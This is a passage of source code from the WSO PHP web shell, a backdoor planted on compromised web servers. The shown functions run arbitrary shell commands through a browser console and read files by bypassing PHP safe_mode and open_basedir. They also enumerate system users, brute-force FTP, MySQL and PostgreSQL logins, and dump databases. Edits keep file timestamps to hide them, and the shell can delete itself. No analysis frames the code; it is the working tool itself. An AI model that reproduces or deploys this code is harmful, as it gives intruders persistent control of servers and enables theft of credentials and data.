1190 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1191 if(!empty($_POST['p1'])) {
1192 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1193 }
1194 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
1195
1196 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1197 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1198 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1199 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1200 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1201 </table></form>";
1202
1203 function wsoRecursiveGlob($path) {
1204 if(substr($path, -1) != '/')
1205 $path.='/';
1206 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1207 if(is_array($paths)&&@count($paths)) {
1208 foreach($paths as $item) {
1209 if(@is_dir($item)){
1210 if($path!=$item)
1211 wsoRecursiveGlob($item);
1212 } else {
1213 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
1214 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
1215 }
1216 }
1217 }
1218 }
1219 if(@$_POST['p3'])
1220 wsoRecursiveGlob($_POST['c']);
1221 echo "</div><br><h1>Search for hash:</h1><div class=content>
1222
1223 <form method='post' target='_blank' name='hf'>
1224 <input type='text' name='hash' style='width:200px;'><br>
1225 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1226 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
1227 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
1228 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1229 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1230 </form></div>";
1231 wsoFooter();
1232}
1233
1234function actionFilesTools() {
1235 if( isset($_POST['p1']) )
1236 $_POST['p1'] = urldecode($_POST['p1']);
1237 if(@$_POST['p2']=='download') {
1238 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1239 ob_start("ob_gzhandler", 4096);
1240 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1241 if (function_exists("mime_content_type")) {
1242 $type = @mime_content_type($_POST['p1']);
1243 header("Content-Type: " . $type);
1244 } else
1245 header("Content-Type: application/octet-stream");
1246 $fp = @fopen($_POST['p1'], "r");
1247 if($fp) {
1248 while(!@feof($fp))
1249 echo @fread($fp, 1024);
1250 fclose($fp);
1251 }
1252 }exit;
1253 }
1254 if( @$_POST['p2'] == 'mkfile' ) {
1255 if(!file_exists($_POST['p1'])) {
1256 $fp = @fopen($_POST['p1'], 'w');
1257 if($fp) {
1258 $_POST['p2'] = "edit";
1259 fclose($fp);
1260 }
1261 }
1262 }
1263 wsoHeader();
1264 echo '<h1>File tools</h1><div class=content>';
1265 if( !file_exists(@$_POST['p1']) ) {
1266 echo 'File not exists';
1267 wsoFooter();
1268 return;
1269 }
1270 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1271 if(!$uid) {
1272 $uid['name'] = @fileowner($_POST['p1']);
1273 $gid['name'] = @filegroup($_POST['p1']);
1274 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1275 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1276 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1277 if( empty($_POST['p2']) )
1278 $_POST['p2'] = 'view';
1279 if( is_file($_POST['p1']) )
1280 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1281 else
1282 $m = array('Chmod', 'Rename', 'Touch');
1283 foreach($m as $v)
1284 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1285 echo '<br><br>';
1286 switch($_POST['p2']) {
1287 case 'view':
1288 echo '<pre class=ml1>';
1289 $fp = @fopen($_POST['p1'], 'r');
1290 if($fp) {
1291 while( !@feof($fp) )
1292 echo htmlspecialchars(@fread($fp, 1024));
1293 @fclose($fp);
1294 }
1295 echo '</pre>';
1296 break;
1297 case 'highlight':
1298 if( @is_readable($_POST['p1']) ) {
1299 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1300 $code = @highlight_file($_POST['p1'],true);
1301 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1302 }
1303 break;
1304 case 'chmod':
1305 if( !empty($_POST['p3']) ) {
1306 $perms = 0;
1307 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1308 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1309 if(!@chmod($_POST['p1'], $perms))
1310 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1311 }
1312 clearstatcache();
1313 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1314 break;
1315 case 'edit':
1316 if( !is_writable($_POST['p1'])) {
1317 echo 'File isn\'t writeable';
1318 break;
1319 }
1320 if( !empty($_POST['p3']) ) {
1321 $time = @filemtime($_POST['p1']);
1322 $_POST['p3'] = substr($_POST['p3'],1);
1323 $fp = @fopen($_POST['p1'],"w");
1324 if($fp) {
1325 @fwrite($fp,$_POST['p3']);
1326 @fclose($fp);
1327 echo 'Saved!<br><script>p3_="";</script>';
1328 @touch($_POST['p1'],$time,$time);
1329 }
1330 }
1331 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1332 $fp = @fopen($_POST['p1'], 'r');
1333 if($fp) {
1334 while( !@feof($fp) )
1335 echo htmlspecialchars(@fread($fp, 1024));
1336 @fclose($fp);
1337 }
1338 echo '</textarea><input type=submit value=">>"></form>';
1339 break;
1340 case 'hexdump':
1341 $c = @file_get_contents($_POST['p1']);
1342 $n = 0;
1343 $h = array('00000000<br>','','');
1344 $len = strlen($c);
1345 for ($i=0; $i<$len; ++$i) {
1346 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1347 switch ( ord($c[$i]) ) {
1348 case 0: $h[2] .= ' '; break;
1349 case 9: $h[2] .= ' '; break;
1350 case 10: $h[2] .= ' '; break;
1351 case 13: $h[2] .= ' '; break;
1352 default: $h[2] .= $c[$i]; break;
1353 }
1354 $n++;
1355 if ($n == 32) {
1356 $n = 0;
1357 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1358 $h[1] .= '<br>';
1359 $h[2] .= "\n";
1360 }
1361 }
1362 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1363 break;
1364 case 'rename':
1365 if( !empty($_POST['p3']) ) {
1366 if(!@rename($_POST['p1'], $_POST['p3']))
1367 echo 'Can\'t rename!<br>';
1368 else
1369 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1370 }
1371 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1372 break;
1373 case 'touch':
1374 if( !empty($_POST['p3']) ) {
1375 $time = strtotime($_POST['p3']);
1376 if($time) {
1377 if(!touch($_POST['p1'],$time,$time))
1378 echo 'Fail!';
1379 else
1380 echo 'Touched!';
1381 } else echo 'Bad time format!';
1382 }
1383 clearstatcache();
1384 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1385 break;
1386 }
1387 echo '</div>';
1388 wsoFooter();
1389}
1390
1391function actionSafeMode() {
1392 $temp='';
1393 ob_start();
1394 switch($_POST['p1']) {
1395 case 1:
1396 $temp=@tempnam($test, 'cx');
1397 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1398 echo @file_get_contents($temp);
1399 unlink($temp);
1400 } else
1401 echo 'Sorry... Can\'t open file';
1402 break;
1403 case 2:
1404 $files = glob($_POST['p2'].'*');
1405 if( is_array($files) )
1406 foreach ($files as $filename)
1407 echo $filename."\n";
1408 break;
1409 case 3:
1410 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1411 curl_exec($ch);
1412 break;
1413 case 4:
1414 ini_restore("safe_mode");
1415 ini_restore("open_basedir");
1416 include($_POST['p2']);
1417 break;
1418 case 5:
1419 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1420 $uid = @posix_getpwuid($_POST['p2']);
1421 if ($uid)
1422 echo join(':',$uid)."\n";
1423 }
1424 break;
1425 }
1426 $temp = ob_get_clean();
1427 wsoHeader();
1428 echo '<h1>Safe mode bypass</h1><div class=content>';
1429 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1430 if($temp)
1431 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
1432 echo '</div>';
1433 wsoFooter();
1434}
1435
1436function actionConsole() {
1437 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1438 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
1439 $_POST['p1'] .= ' 2>&1';
1440 } elseif(!empty($_POST['p1']))
1441 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
1442
1443 if(isset($_POST['ajax'])) {
1444 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1445 ob_start();
1446 echo "d.cf.cmd.value='';\n";
1447 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1448 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1449 if(@chdir($match[1])) {
1450 $GLOBALS['cwd'] = @getcwd();
1451 echo "c_='".$GLOBALS['cwd']."';";
1452 }
1453 }
1454 echo "d.cf.output.value+='".$temp."';";
1455 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1456 $temp = ob_get_clean();
1457 echo strlen($temp), "\n", $temp;
1458 exit;
1459 }
1460 wsoHeader();
1461 echo "<script>
1462if(window.Event) window.captureEvents(Event.KEYDOWN);
1463var cmds = new Array('');
1464var cur = 0;
1465function kp(e) {
1466 var n = (window.Event) ? e.which : e.keyCode;
1467 if(n == 38) {
1468 cur--;
1469 if(cur>=0)
1470 document.cf.cmd.value = cmds[cur];
1471 else
1472 cur++;
1473 } else if(n == 40) {
1474 cur++;
1475 if(cur < cmds.length)
1476 document.cf.cmd.value = cmds[cur];
1477 else
1478 cur--;
1479 }
1480}
1481function add(cmd) {
1482 cmds.pop();
1483 cmds.push(cmd);
1484 cmds.push('');
1485 cur = cmds.length-1;
1486}
1487
1488</script>";
1489 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1490 foreach($GLOBALS['aliases'] as $n => $v) {
1491 if($v == '') {
1492 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1493 continue;
1494 }
1495 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1496 }
1497 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1498 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1499 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1500 if(!empty($_POST['p1'])) {
1501 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1502 }
1503 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1504 echo '</form></div><script>d.cf.cmd.focus();</script>';
1505 wsoFooter();
1506}
1507
1508function actionLogout() {
1509 session_destroy();
1510 die('bye!');
1511}
1512
1513function actionSelfRemove() {
1514
1515 if($_POST['p1'] == 'yes')
1516 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1517 die('Shell has been removed');
1518 else
1519 echo 'unlink error!';
1520 if($_POST['p1'] != 'yes')
1521 wsoHeader();
1522 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1523 wsoFooter();
1524}
1525
1526function actionBruteforce() {
1527 wsoHeader();
1528 if( isset($_POST['proto']) ) {
1529 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1530 if( $_POST['proto'] == 'ftp' ) {
1531 function bruteForce($ip,$port,$login,$pass) {
1532 $fp = @ftp_connect($ip, $port?$port:21);
1533 if(!$fp) return false;
1534 $res = @ftp_login($fp, $login, $pass);
1535 @ftp_close($fp);
1536 return $res;
1537 }
1538 } elseif( $_POST['proto'] == 'mysql' ) {
1539 function bruteForce($ip,$port,$login,$pass) {
1540 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1541 @mysql_close($res);
1542 return $res;
1543 }
1544 } elseif( $_POST['proto'] == 'pgsql' ) {
1545 function bruteForce($ip,$port,$login,$pass) {
1546 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1547 $res = @pg_connect($str);
1548 @pg_close($res);
1549 return $res;
1550 }
1551 }
1552 $success = 0;
1553 $attempts = 0;
1554 $server = explode(":", $_POST['server']);
1555 if($_POST['type'] == 1) {
1556 $temp = @file('/etc/passwd');
1557 if( is_array($temp) )
1558 foreach($temp as $line) {
1559 $line = explode(":", $line);
1560 ++$attempts;
1561 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1562 $success++;
1563 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1564 }
1565 if(@$_POST['reverse']) {
1566 $tmp = "";
1567 for($i=strlen($line[0])-1; $i>=0; --$i)
1568 $tmp .= $line[0][$i];
1569 ++$attempts;
1570 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1571 $success++;
1572 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1573 }
1574 }
1575 }
1576 } elseif($_POST['type'] == 2) {
1577 $temp = @file($_POST['dict']);
1578 if( is_array($temp) )
1579 foreach($temp as $line) {
1580 $line = trim($line);
1581 ++$attempts;
1582 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1583 $success++;
1584 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1585 }
1586 }
1587 }
1588 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1589 }
1590 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1591 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1592 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1593 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1594 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1595 .'<span>Server:port</span></td>'
1596 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1597 .'<tr><td><span>Brute type</span></td>'
1598 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1599 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1600 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1601 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1602 .'<td><input type=text name=login value="root"></td></tr>'
1603 .'<tr><td><span>Dictionary</span></td>'
1604 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1605 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1606 echo '</div><br>';
1607 wsoFooter();
1608}
1609
1610function actionSql() {
1611 class DbClass {
1612 var $type;
1613 var $link;
1614 var $res;
1615 function DbClass($type) {
1616 $this->type = $type;
1617 }
1618 function connect($host, $user, $pass, $dbname){
1619 switch($this->type) {
1620 case 'mysql':
1621 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1622 break;
1623 case 'pgsql':
1624 $host = explode(':', $host);
1625 if(!$host[1]) $host[1]=5432;
1626 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1627 break;
1628 }
1629 return false;
1630 }
1631 function selectdb($db) {
1632 switch($this->type) {
1633 case 'mysql':
1634 if (@mysql_select_db($db))return true;
1635 break;
1636 }
1637 return false;
1638 }
1639 function query($str) {
1640 switch($this->type) {
1641 case 'mysql':
1642 return $this->res = @mysql_query($str);
1643 break;
1644 case 'pgsql':
1645 return $this->res = @pg_query($this->link,$str);
1646 break;
1647 }
1648 return false;
1649 }
1650 function fetch() {
1651 $res = func_num_args()?func_get_arg(0):$this->res;
1652 switch($this->type) {
1653 case 'mysql':
1654 return @mysql_fetch_assoc($res);
1655 break;
1656 case 'pgsql':
1657 return @pg_fetch_assoc($res);
1658 break;
1659 }
1660 return false;
1661 }
1662 function listDbs() {
1663 switch($this->type) {
1664 case 'mysql':
1665 return $this->query("SHOW databases");
1666 break;
1667 case 'pgsql':
1668 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1669 break;
1670 }
1671 return false;
1672 }
1673 function listTables() {
1674 switch($this->type) {
1675 case 'mysql':
1676 return $this->res = $this->query('SHOW TABLES');
1677 break;
1678 case 'pgsql':
1679 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1680 break;
1681 }
1682 return false;
1683 }
1684 function error() {
1685 switch($this->type) {
1686 case 'mysql':
1687 return @mysql_error();
1688 break;
1689 case 'pgsql':
1690 return @pg_last_error();
1691 break;
1692 }
1693 return false;
1694 }
1695 function setCharset($str) {
1696 switch($this->type) {
1697 case 'mysql':
1698 if(function_exists('mysql_set_charset'))
1699 return @mysql_set_charset($str, $this->link);
1700 else
1701 $this->query('SET CHARSET '.$str);
1702 break;
1703 case 'pgsql':
1704 return @pg_set_client_encoding($this->link, $str);
1705 break;
1706 }
1707 return false;
1708 }
1709 function loadFile($str) {
1710 switch($this->type) {
1711 case 'mysql':
1712 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1713 break;
1714 case 'pgsql':
1715 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1716 $r=array();
1717 while($i=$this->fetch())
1718 $r[] = $i['file'];
1719 $this->query('drop table wso2');
1720 return array('file'=>implode("\n",$r));
1721 break;
1722 }
1723 return false;
1724 }
1725 function dump($table, $fp = false) {
1726 switch($this->type) {
1727 case 'mysql':
1728 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1729 $create = mysql_fetch_array($res);
1730 $sql = $create[1].";\n";
1731 if($fp) fwrite($fp, $sql); else echo($sql);
1732 $this->query('SELECT * FROM `'.$table.'`');
1733 $head = true;
1734 while($item = $this->fetch()) {
1735 $columns = array();
1736 foreach($item as $k=>$v) {
1737 if($v == null)
1738 $item[$k] = "NULL";
1739 elseif(is_numeric($v))
1740 $item[$k] = $v;
1741 else
1742 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1743 $columns[] = "`".$k."`";
1744 }
1745 if($head) {
1746 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1747 $head = false;
1748 } else
1749 $sql = "\n\t,(".implode(", ", $item).')';
1750 if($fp) fwrite($fp, $sql); else echo($sql);
1751 }
1752 if(!$head)
1753 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1754 break;
1755 case 'pgsql':
1756 $this->query('SELECT * FROM '.$table);
1757 while($item = $this->fetch()) {
1758 $columns = array();
1759 foreach($item as $k=>$v) {
1760 $item[$k] = "'".addslashes($v)."'";
1761 $columns[] = $k;
1762 }
1763 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1764 if($fp) fwrite($fp, $sql); else echo($sql);
1765 }
1766 break;
1767 }
1768 return false;
1769 }
1770 };
1771 $db = new DbClass($_POST['type']);
1772 if(@$_POST['p2']=='download') {
1773 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1774 $db->selectdb($_POST['sql_base']);
1775 switch($_POST['charset']) {
1776 case "Windows-1251": $db->setCharset('cp1251'); break;
1777 case "UTF-8": $db->setCharset('utf8'); break;
1778 case "KOI8-R": $db->setCharset('koi8r'); break;
1779 case "KOI8-U": $db->setCharset('koi8u'); break;
1780 case "cp866": $db->setCharset('cp866'); break;
1781 }
1782 if(empty($_POST['file'])) {
1783 ob_start("ob_gzhandler", 4096);
1784 header("Content-Disposition: attachment; filename=dump.sql");
1785 header("Content-Type: text/plain");
1786 foreach($_POST['tbl'] as $v)
1787 $db->dump($v);
1788 exit;
1789 } elseif($fp = @fopen($_POST['file'], 'w')) {
1790 foreach($_POST['tbl'] as $v)
1791 $db->dump($v, $fp);
1792 fclose($fp);
1793 unset($_POST['p2']);
1794 } else
1795 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1796 }
1797 wsoHeader();
1798 echo "
1799
1800<h1>Sql browser</h1><div class=content>
1801<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1802<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1803<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1804<td><select name='type'><option value='mysql' ";
1805 if(@$_POST['type']=='mysql')echo 'selected';
1806echo ">MySql</option><option value='pgsql' ";
1807if(@$_POST['type']=='pgsql')echo 'selected';
1808echo ">PostgreSql</option></select></td>
1809<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1810<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1811<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1812 $tmp = "<input type=text name=sql_base value=''>";
1813 if(isset($_POST['sql_host'])){
1814 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1815 switch($_POST['charset']) {
1816 case "Windows-1251": $db->setCharset('cp1251'); break;
1817 case "UTF-8": $db->setCharset('utf8'); break;
1818 case "KOI8-R": $db->setCharset('koi8r'); break;
1819 case "KOI8-U": $db->setCharset('koi8u'); break;
1820 case "cp866": $db->setCharset('cp866'); break;
1821 }
1822 $db->listDbs();
1823 echo "<select name=sql_base><option value=''></option>";
1824 while($item = $db->fetch()) {
1825 list($key, $value) = each($item);
1826 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1827 }
1828 echo '</select>';
1829 }
1830 else echo $tmp;
1831 }else
1832 echo $tmp;
1833 echo "</td>
1834
1835 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1836 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1837 </tr>
1838 </table>
1839 <script>
1840 s_db='".@addslashes($_POST['sql_base'])."';
1841 function fs(f) {
1842 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1843 if(f.p1) f.p1.value='';
1844 if(f.p2) f.p2.value='';
1845 if(f.p3) f.p3.value='';
1846 }
1847 }
1848 function st(t,l) {
1849 d.sf.p1.value = 'select';
1850 d.sf.p2.value = t;
1851 if(l && d.sf.p3) d.sf.p3.value = l;
1852 d.sf.submit();
1853 }
1854 function is() {
1855 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1856 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1857 }
1858 </script>";
1859 if(isset($db) && $db->link){
1860 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1861 if(!empty($_POST['sql_base'])){
1862 $db->selectdb($_POST['sql_base']);
1863 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1864 $tbls_res = $db->listTables();
1865 while($item = $db->fetch($tbls_res)) {
1866 list($key, $value) = each($item);
1867 if(!empty($_POST['sql_count']))
1868 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1869 $value = htmlspecialchars($value);
1870 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1871 }
1872 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1873 if(@$_POST['p1'] == 'select') {
1874 $_POST['p1'] = 'query';
1875 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1876 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1877 $num = $db->fetch();
1878 $pages = ceil($num['n'] / 30);
1879 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1880 echo " of $pages";
1881 if($_POST['p3'] > 1)
1882 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1883 if($_POST['p3'] < $pages)
1884 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1885 $_POST['p3']--;
